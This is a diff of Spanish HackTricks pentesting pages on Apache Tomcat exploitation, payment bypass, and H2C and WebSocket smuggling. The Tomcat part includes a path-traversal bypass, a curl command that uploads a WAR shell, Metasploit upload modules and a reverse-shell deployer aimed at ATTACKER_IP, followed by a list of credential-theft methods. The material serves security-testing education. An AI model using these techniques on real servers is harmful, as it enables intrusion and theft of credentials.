Las versiones de Apache Tomcat 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, enumerados de manera exhaustiva, deben ser verificados en busca de acceso no autorizado y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Las versiones de Apache Tomcat de 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, enumerados de manera exhaustiva, deben ser verificados en busca de acceso no autorizado y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /ejemplos/jsp/num/numguess.jsp
|
||||
* /ejemplos/jsp/dates/date.jsp
|
||||
|
@ -99,21 +99,21 @@ Las versiones de Apache Tomcat 4.x a 7.x incluyen scripts de ejemplo que son sus
|
|||
* /ejemplos/servlet/SessionExample
|
||||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **Explotación de Travesía de Rutas**
|
||||
### **Explotación de Travesía de Ruta**
|
||||
|
||||
En algunas [**configuraciones vulnerables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) puedes obtener acceso a directorios protegidos en Tomcat usando la ruta: `/..;/`
|
||||
|
||||
Entonces, por ejemplo, podrías ser capaz de **acceder a la página del administrador de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
Por ejemplo, podrías **acceder a la página del administrador de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**Otra forma** de evadir rutas protegidas usando este truco es acceder a `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes **subir y desplegar un archivo .war (ejecutar código)**.
|
||||
Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes **cargar e implementar un archivo .war (ejecutar código)**.
|
||||
|
||||
### Limitaciones
|
||||
|
||||
Solo podrás desplegar un WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Esos detalles se pueden encontrar en _tomcat-users.xml_ generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver [POST](tomcat.md#post) sección).
|
||||
Solo podrás implementar un WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Esos detalles se pueden encontrar en _tomcat-users.xml_ generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver sección [POST](tomcat.md#post)).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -124,6 +124,8 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
|
|||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||||
```
|
||||
### Metasploit
|
||||
|
||||
Metasploit is a powerful tool used for penetration testing. It provides a wide range of exploits, payloads, and auxiliary modules to help security professionals in testing security vulnerabilities. Metasploit can be used to exploit known vulnerabilities in web applications, networks, servers, and more. It also offers a command-line interface and a web-based interface for ease of use.
|
||||
```bash
|
||||
use exploit/multi/http/tomcat_mgr_upload
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||
|
@ -148,7 +150,7 @@ En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de su
|
|||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
#### Shell inversa
|
||||
#### Shell inverso
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
|
@ -210,17 +212,11 @@ find / -name tomcat-users.xml 2>/dev/null
|
|||
```
|
||||
### Otras formas de obtener credenciales de Tomcat:
|
||||
|
||||
- **Brute Force Attack (Ataque de Fuerza Bruta):** Intentar adivinar las credenciales probando diferentes combinaciones de nombres de usuario y contraseñas.
|
||||
|
||||
- **Exploiting Default Credentials (Explotando Credenciales Predeterminadas):** Utilizar las credenciales predeterminadas que vienen con la instalación de Tomcat, como "admin/admin" o "tomcat/tomcat".
|
||||
|
||||
- **Phishing Attacks (Ataques de Phishing):** Engañar a los usuarios para que revelen sus credenciales a través de correos electrónicos o sitios web falsos.
|
||||
|
||||
- **Social Engineering (Ingeniería Social):** Manipular a las personas para que revelen sus credenciales mediante engaños o persuasión.
|
||||
|
||||
- **Keylogging (Registro de Teclas):** Instalar un software de registro de teclas en el sistema de la víctima para capturar las credenciales introducidas.
|
||||
|
||||
- **Session Hijacking (Secuestro de Sesión):** Robar la sesión de un usuario legítimo para obtener acceso a la aplicación Tomcat.
|
||||
- **Brute Forcing**: Intentar adivinar las credenciales probando diferentes combinaciones de nombres de usuario y contraseñas.
|
||||
- **Exploiting Default Credentials**: Utilizar las credenciales predeterminadas que vienen con la instalación de Tomcat.
|
||||
- **Phishing**: Engañar a los usuarios para que revelen sus credenciales a través de correos electrónicos falsos u otros métodos de ingeniería social.
|
||||
- **Keylogging**: Instalar un keylogger en el sistema de la víctima para capturar las credenciales introducidas.
|
||||
- **Session Hijacking**: Robar la sesión de un usuario legítimo para obtener acceso sin necesidad de conocer las credenciales.
|
||||
```bash
|
||||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
|
@ -238,10 +234,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
<img src="../../.gitbook/assets/image (675).png" alt="" data-size="original">
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Información Básica de Tomcat
|
||||
# Información básica de Tomcat
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,25 +6,17 @@
|
|||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
### Evitar ejecutar con root
|
||||
|
||||
Para no ejecutar Tomcat con root, una configuración muy común es establecer un servidor Apache en el puerto 80/443 y, si la ruta solicitada coincide con una expresión regular, la solicitud se envía a Tomcat que se ejecuta en un puerto diferente.
|
||||
|
||||
### Estructura por Defecto
|
||||
### Estructura predeterminada
|
||||
```
|
||||
├── bin
|
||||
├── conf
|
||||
|
@ -52,7 +44,7 @@ Para no ejecutar Tomcat con root, una configuración muy común es establecer un
|
|||
* La carpeta `bin` almacena scripts y binarios necesarios para iniciar y ejecutar un servidor Tomcat.
|
||||
* La carpeta `conf` almacena varios archivos de configuración utilizados por Tomcat.
|
||||
* El archivo `tomcat-users.xml` almacena las credenciales de usuario y sus roles asignados.
|
||||
* La carpeta `lib` contiene varios archivos JAR necesarios para el correcto funcionamiento de Tomcat.
|
||||
* La carpeta `lib` contiene los diversos archivos JAR necesarios para el correcto funcionamiento de Tomcat.
|
||||
* Las carpetas `logs` y `temp` almacenan archivos de registro temporales.
|
||||
* La carpeta `webapps` es la raíz web predeterminada de Tomcat y alberga todas las aplicaciones. La carpeta `work` actúa como una caché y se utiliza para almacenar datos durante la ejecución.
|
||||
|
||||
|
@ -73,7 +65,7 @@ webapps/customapp
|
|||
└── classes
|
||||
└── AdminServlet.class
|
||||
```
|
||||
El archivo más importante entre estos es `WEB-INF/web.xml`, conocido como el descriptor de despliegue. Este archivo almacena **información sobre las rutas** utilizadas por la aplicación y las clases que manejan estas rutas.\
|
||||
El archivo más importante entre estos es `WEB-INF/web.xml`, conocido como el descriptor de implementación. Este archivo almacena **información sobre las rutas** utilizadas por la aplicación y las clases que manejan estas rutas.\
|
||||
Todas las clases compiladas utilizadas por la aplicación deben almacenarse en la carpeta `WEB-INF/classes`. Estas clases pueden contener lógica empresarial importante, así como información sensible. Cualquier vulnerabilidad en estos archivos puede llevar a la compromisión total del sitio web. La carpeta `lib` almacena las bibliotecas necesarias para esa aplicación en particular. La carpeta `jsp` almacena las [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), anteriormente conocidas como `JavaServer Pages`, que se pueden comparar con archivos PHP en un servidor Apache.
|
||||
|
||||
Aquí tienes un ejemplo del archivo **web.xml**.
|
||||
|
@ -149,13 +141,6 @@ El archivo nos muestra a qué proporciona acceso cada uno de los roles `manager-
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -2,25 +2,18 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Técnicas de Bypass de Pago
|
||||
|
||||
|
@ -28,14 +21,14 @@ Encuentra vulnerabilidades que importan más para que puedas solucionarlas más
|
|||
Durante el proceso de transacción, es crucial monitorear los datos intercambiados entre el cliente y el servidor. Esto se puede hacer interceptando todas las solicitudes. Dentro de estas solicitudes, busca parámetros con implicaciones significativas, como:
|
||||
|
||||
- **Éxito**: Este parámetro a menudo indica el estado de la transacción.
|
||||
- **Referente**: Puede indicar la fuente desde donde se originó la solicitud.
|
||||
- **Callback**: Se utiliza típicamente para redirigir al usuario después de que se complete una transacción.
|
||||
- **Referente**: Puede señalar la fuente desde donde se originó la solicitud.
|
||||
- **Callback**: Normalmente se utiliza para redirigir al usuario después de que se complete una transacción.
|
||||
|
||||
### Análisis de URL
|
||||
Si encuentras un parámetro que contiene una URL, especialmente una que sigue el patrón _ejemplo.com/pago/MD5HASH_, requiere un examen más detenido. Aquí tienes un enfoque paso a paso:
|
||||
|
||||
1. **Copiar la URL**: Extrae la URL del valor del parámetro.
|
||||
2. **Inspección en una Nueva Ventana**: Abre la URL copiada en una nueva ventana del navegador. Esta acción es crucial para comprender el resultado de la transacción.
|
||||
2. **Inspección en una Nueva Ventana**: Abre la URL copiada en una nueva ventana del navegador. Esta acción es crucial para entender el resultado de la transacción.
|
||||
|
||||
### Manipulación de Parámetros
|
||||
1. **Cambiar los Valores de los Parámetros**: Experimenta alterando los valores de parámetros como _Éxito_, _Referente_ o _Callback_. Por ejemplo, cambiar un parámetro de `false` a `true` a veces puede revelar cómo el sistema maneja estas entradas.
|
||||
|
@ -51,26 +44,3 @@ Si encuentras un parámetro que contiene una URL, especialmente una que sigue el
|
|||
### Manipulación de Respuestas
|
||||
1. **Interceptar Respuestas**: Utiliza herramientas para interceptar y analizar las respuestas del servidor. Busca cualquier dato que pueda indicar una transacción exitosa o revelar los próximos pasos en el proceso de pago.
|
||||
2. **Modificar Respuestas**: Intenta modificar las respuestas antes de que sean procesadas por el navegador o la aplicación para simular un escenario de transacción exitosa.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,35 +6,27 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
### HTTP2 sobre texto sin formato (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C, o **http2 sobre texto sin formato**, se desvía de la norma de conexiones HTTP transitorias al actualizar una conexión HTTP estándar a una persistente. Esta conexión actualizada utiliza el protocolo binario http2 para la comunicación continua, en lugar de la naturaleza de una sola solicitud del HTTP sin formato.
|
||||
H2C, o **http2 sobre texto sin formato**, se desvía de la norma de conexiones HTTP transitorias al actualizar una conexión HTTP estándar a una persistente. Esta conexión actualizada utiliza el protocolo binario http2 para la comunicación continua, en contraposición a la naturaleza de una sola solicitud del HTTP sin formato.
|
||||
|
||||
La esencia del problema de smuggling surge con el uso de un **proxy inverso**. Normalmente, el proxy inverso procesa y reenvía las solicitudes HTTP al backend, devolviendo la respuesta del backend después de eso. Sin embargo, cuando el encabezado `Connection: Upgrade` está presente en una solicitud HTTP (comúnmente visto con conexiones websocket), el **proxy inverso mantiene una conexión persistente** entre el cliente y el servidor, facilitando el intercambio continuo requerido por ciertos protocolos. Para las conexiones H2C, la adherencia al RFC requiere la presencia de tres encabezados específicos:
|
||||
La esencia del problema de smuggling surge con el uso de un **proxy inverso**. Normalmente, el proxy inverso procesa y reenvía las solicitudes HTTP al backend, devolviendo la respuesta del backend después de eso. Sin embargo, cuando el encabezado `Connection: Upgrade` está presente en una solicitud HTTP (comúnmente visto con conexiones websocket), el **proxy inverso mantiene una conexión persistente** entre el cliente y el servidor, facilitando el intercambio continuo requerido por ciertos protocolos. Para las conexiones H2C, el cumplimiento del RFC requiere la presencia de tres encabezados específicos:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
Connection: Upgrade, HTTP2-Settings
|
||||
```
|
||||
La vulnerabilidad surge cuando, después de actualizar una conexión, el proxy inverso deja de gestionar las solicitudes individuales, asumiendo que su trabajo de enrutamiento está completo después del establecimiento de la conexión. Explotar el H2C Smuggling permite eludir las reglas del proxy inverso aplicadas durante el procesamiento de solicitudes, como el enrutamiento basado en la ruta, la autenticación y el procesamiento de WAF, asumiendo que se inicia con éxito una conexión H2C.
|
||||
La vulnerabilidad surge cuando, después de actualizar una conexión, el proxy inverso deja de gestionar solicitudes individuales, asumiendo que su trabajo de enrutamiento está completo después del establecimiento de la conexión. Explotar H2C Smuggling permite eludir las reglas del proxy inverso aplicadas durante el procesamiento de solicitudes, como el enrutamiento basado en la ruta, la autenticación y el procesamiento de WAF, asumiendo que se inicia con éxito una conexión H2C.
|
||||
|
||||
### Proxies Vulnerables <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
|
@ -60,7 +52,7 @@ Por el contrario, estos servicios no reenvían inherentemente ambos encabezados
|
|||
Es crucial tener en cuenta que no todos los servidores reenvían inherentemente los encabezados necesarios para una actualización de conexión H2C conforme. Por lo tanto, servidores como AWS ALB/CLB, NGINX y Apache Traffic Server, entre otros, bloquean naturalmente las conexiones H2C. No obstante, vale la pena probar con la variante no conforme `Connection: Upgrade`, que excluye el valor `HTTP2-Settings` del encabezado `Connection`, ya que algunos backends pueden no cumplir con los estándares.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Independientemente de la **ruta** específica designada en la URL de `proxy_pass` (por ejemplo, `http://backend:9999/socket.io`), la conexión establecida se establece por defecto en `http://backend:9999`. Esto permite la interacción con cualquier ruta dentro de ese punto final interno, aprovechando esta técnica. En consecuencia, la especificación de una ruta en la URL de `proxy_pass` no restringe el acceso.
|
||||
Independientemente de la **ruta** específica designada en la URL `proxy_pass` (por ejemplo, `http://backend:9999/socket.io`), la conexión establecida se establece por defecto en `http://backend:9999`. Esto permite la interacción con cualquier ruta dentro de ese punto final interno, aprovechando esta técnica. En consecuencia, la especificación de una ruta en la URL `proxy_pass` no restringe el acceso.
|
||||
{% endhint %}
|
||||
|
||||
Las herramientas [**h2csmuggler de BishopFox**](https://github.com/BishopFox/h2csmuggler) y [**h2csmuggler de assetnote**](https://github.com/assetnote/h2csmuggler) facilitan los intentos de **eludir las protecciones impuestas por el proxy** al establecer una conexión H2C, lo que permite acceder a recursos protegidos por el proxy.
|
||||
|
@ -69,15 +61,15 @@ Para obtener información adicional sobre esta vulnerabilidad, especialmente en
|
|||
|
||||
# Websocket Smuggling
|
||||
|
||||
El websocket smuggling, a diferencia de crear un túnel HTTP2 a un punto final accesible a través de un proxy, establece un túnel websocket para eludir posibles limitaciones del proxy y facilitar la comunicación directa con el punto final.
|
||||
El websocket smuggling, a diferencia de crear un túnel HTTP2 a un punto final accesible a través de un proxy, establece un túnel de Websocket para evitar posibles limitaciones del proxy y facilitar la comunicación directa con el punto final.
|
||||
|
||||
## Escenario 1
|
||||
|
||||
En este escenario, un backend que ofrece una API WebSocket pública junto con una API REST interna inaccesible es el objetivo de un cliente malicioso que busca acceder a la API REST interna. El ataque se desarrolla en varios pasos:
|
||||
En este escenario, un backend que ofrece una API de Websocket pública junto con una API REST interna inaccesible es el objetivo de un cliente malicioso que busca acceder a la API REST interna. El ataque se desarrolla en varios pasos:
|
||||
|
||||
1. El cliente inicia enviando una solicitud de Upgrade al proxy inverso con una versión de protocolo `Sec-WebSocket-Version` incorrecta en el encabezado. El proxy, al no validar el encabezado `Sec-WebSocket-Version`, considera válida la solicitud de Upgrade y la reenvía al backend.
|
||||
2. El backend responde con un código de estado `426`, indicando la versión incorrecta del protocolo en el encabezado `Sec-WebSocket-Version`. El proxy inverso, pasando por alto el estado de respuesta del backend, asume que está listo para la comunicación WebSocket y retransmite la respuesta al cliente.
|
||||
3. En consecuencia, el proxy inverso es engañado para creer que se ha establecido una conexión WebSocket entre el cliente y el backend, cuando en realidad el backend ha rechazado la solicitud de Upgrade. A pesar de esto, el proxy mantiene una conexión TCP o TLS abierta entre el cliente y el backend, lo que permite al cliente acceder sin restricciones a la API REST privada a través de esta conexión.
|
||||
2. El backend responde con un código de estado `426`, indicando la versión incorrecta del protocolo en el encabezado `Sec-WebSocket-Version`. El proxy inverso, pasando por alto el estado de respuesta del backend, asume la disposición para la comunicación de Websocket y retransmite la respuesta al cliente.
|
||||
3. En consecuencia, el proxy inverso es engañado para creer que se ha establecido una conexión de Websocket entre el cliente y el backend, cuando en realidad, el backend ha rechazado la solicitud de Upgrade. A pesar de esto, el proxy mantiene una conexión TCP o TLS abierta entre el cliente y el backend, permitiendo al cliente acceder sin restricciones a la API REST privada a través de esta conexión.
|
||||
|
||||
Los proxies inversos afectados incluyen Varnish, que se negó a abordar el problema, y el proxy Envoy en la versión 1.8.0 o anterior, con versiones posteriores que han alterado el mecanismo de actualización. Otros proxies también pueden ser susceptibles.
|
||||
|
||||
|
@ -85,16 +77,16 @@ Los proxies inversos afectados incluyen Varnish, que se negó a abordar el probl
|
|||
|
||||
## Escenario 2
|
||||
|
||||
Este escenario implica un backend con una API WebSocket pública y una API REST pública para verificación de salud, junto con una API REST interna inaccesible. El ataque, más complejo, involucra los siguientes pasos:
|
||||
Este escenario implica un backend con una API de Websocket pública y una API REST pública para verificación de salud, junto con una API REST interna inaccesible. El ataque, más complejo, involucra los siguientes pasos:
|
||||
|
||||
1. El cliente envía una solicitud POST para activar la API de verificación de salud, incluyendo un encabezado HTTP adicional `Upgrade: websocket`. NGINX, actuando como proxy inverso, interpreta esto como una solicitud de Upgrade estándar basada únicamente en el encabezado `Upgrade`, ignorando los demás aspectos de la solicitud, y la reenvía al backend.
|
||||
2. El backend ejecuta la API de verificación de salud, accediendo a un recurso externo controlado por el atacante que devuelve una respuesta HTTP con el código de estado `101`. Esta respuesta, una vez recibida por el backend y reenviada a NGINX, engaña al proxy haciéndole creer que se ha establecido una conexión WebSocket debido a su validación únicamente del código de estado.
|
||||
1. El cliente envía una solicitud POST para activar la API de verificación de salud, incluyendo un encabezado HTTP adicional `Upgrade: websocket`. NGINX, actuando como proxy inverso, interpreta esto como una solicitud de Upgrade estándar basada únicamente en el encabezado `Upgrade`, ignorando los otros aspectos de la solicitud, y la reenvía al backend.
|
||||
2. El backend ejecuta la API de verificación de salud, accediendo a un recurso externo controlado por el atacante que devuelve una respuesta HTTP con el código de estado `101`. Esta respuesta, una vez recibida por el backend y reenviada a NGINX, engaña al proxy haciéndole creer que se ha establecido una conexión de Websocket debido a su validación únicamente del código de estado.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
||||
> **Advertencia:** La complejidad de esta técnica aumenta, ya que requiere la capacidad de interactuar con un punto final capaz de devolver un código de estado 101.
|
||||
|
||||
En última instancia, NGINX es engañado para creer que existe una conexión WebSocket entre el cliente y el backend. En realidad, no existe tal conexión; la API REST de verificación de salud era el objetivo. Sin embargo, el proxy inverso mantiene la conexión abierta, lo que permite al cliente acceder a la API REST privada a través de ella.
|
||||
En última instancia, NGINX es engañado para creer que existe una conexión de Websocket entre el cliente y el backend. En realidad, no existe tal conexión; la API REST de verificación de salud era el objetivo. Sin embargo, el proxy inverso mantiene la conexión abierta, permitiendo al cliente acceder a la API REST privada a través de ella.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||
|
||||
|
